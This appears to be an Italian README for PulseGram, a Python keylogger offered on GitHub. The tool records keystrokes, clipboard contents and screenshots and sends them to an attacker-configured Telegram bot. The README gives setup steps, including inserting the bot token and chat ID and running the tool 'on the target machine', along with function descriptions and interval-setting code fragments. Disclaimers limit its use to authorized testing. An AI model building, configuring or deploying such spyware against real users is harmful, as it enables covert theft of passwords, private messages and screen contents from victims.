
Keylogger basato su Python con integrazione di bot Telegram per catturare sequenze di tasti, contenuti degli appunti e screenshot in ambienti di test di sicurezza autorizzati.
PulseGram è un keylogger integrato con un bot Telegram. È uno strumento di monitoraggio che cattura sequenze di tasti, contenuti degli appunti e screenshot, inviando tutte le informazioni a un bot Telegram configurato. È progettato per l'uso in simulazioni di attacco e contesti di test di sicurezza.
⚠️ Avviso: Questo progetto ha finalità educative e deve essere utilizzato solo per test di sicurezza in ambienti autorizzati. L'uso non autorizzato di questo strumento potrebbe essere illegale ed è proibito.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt per facilitare il debug.
Clona il repository:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
Installa le dipendenze: assicurati di avere Python 3 e pip installati. Quindi esegui:
pip install -r requirements.txt
Configura il token del bot Telegram:
Crea un bot su Telegram usando BotFather.
Copia il tuo token e incollalo nel codice in main.py dove viene inizializzato il bot.
Copia il tuo ChatID chat_id="131933xxxx" in keylogger.py
Esegui lo strumento sulla macchina di destinazione con:
python pulsegram.py
Questo è il file principale dello strumento, che inizializza il bot e avvia attività asincrone per catturare e inviare dati.
Bot(token="..."): Inizializza il bot Telegram con il tuo token personale.
asyncio.gather(...): Avvia più attività per eseguire il monitoraggio degli appunti, l'acquisizione di screenshot e la registrazione delle sequenze di tasti.
log_error: In caso di errori, li registra in un file errors_log.txt.
Questo modulo contiene funzioni ausiliarie che supportano il funzionamento generale dello strumento.
log_error(): Registra eventuali errori in errors_log.txt con formato data e ora.
get_clipboard_content(): Acquisisce il contenuto attuale degli appunti.
capture_screenshot(): Scatta uno screenshot e lo salva temporaneamente per inviarlo al bot Telegram.
Questo modulo gestisce la registrazione delle sequenze di tasti, il monitoraggio degli appunti e l'acquisizione di screenshot.
capture_keystrokes(bot): Funzione asincrona che cattura le sequenze di tasti e invia le informazioni al bot Telegram.
send_keystrokes_to_telegram(bot): Questa funzione invia le sequenze di tasti accumulate al bot.
capture_screenshots(bot): Acquisisce periodicamente un'immagine dello schermo e la invia al bot.
log_clipboard(bot): Invia il contenuto degli appunti al bot.
Modifica l'intervallo di tempo per la cattura e l'invio delle informazioni.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
Questo progetto ha solo finalità educative e per test di sicurezza nei propri ambienti o con autorizzazione espressa. L'uso non autorizzato di questo strumento può violare le leggi locali e le politiche sulla privacy.
I contributi sono benvenuti. Assicurati di rispettare il codice di condotta quando collabori.
Questo progetto è concesso in licenza con licenza MIT.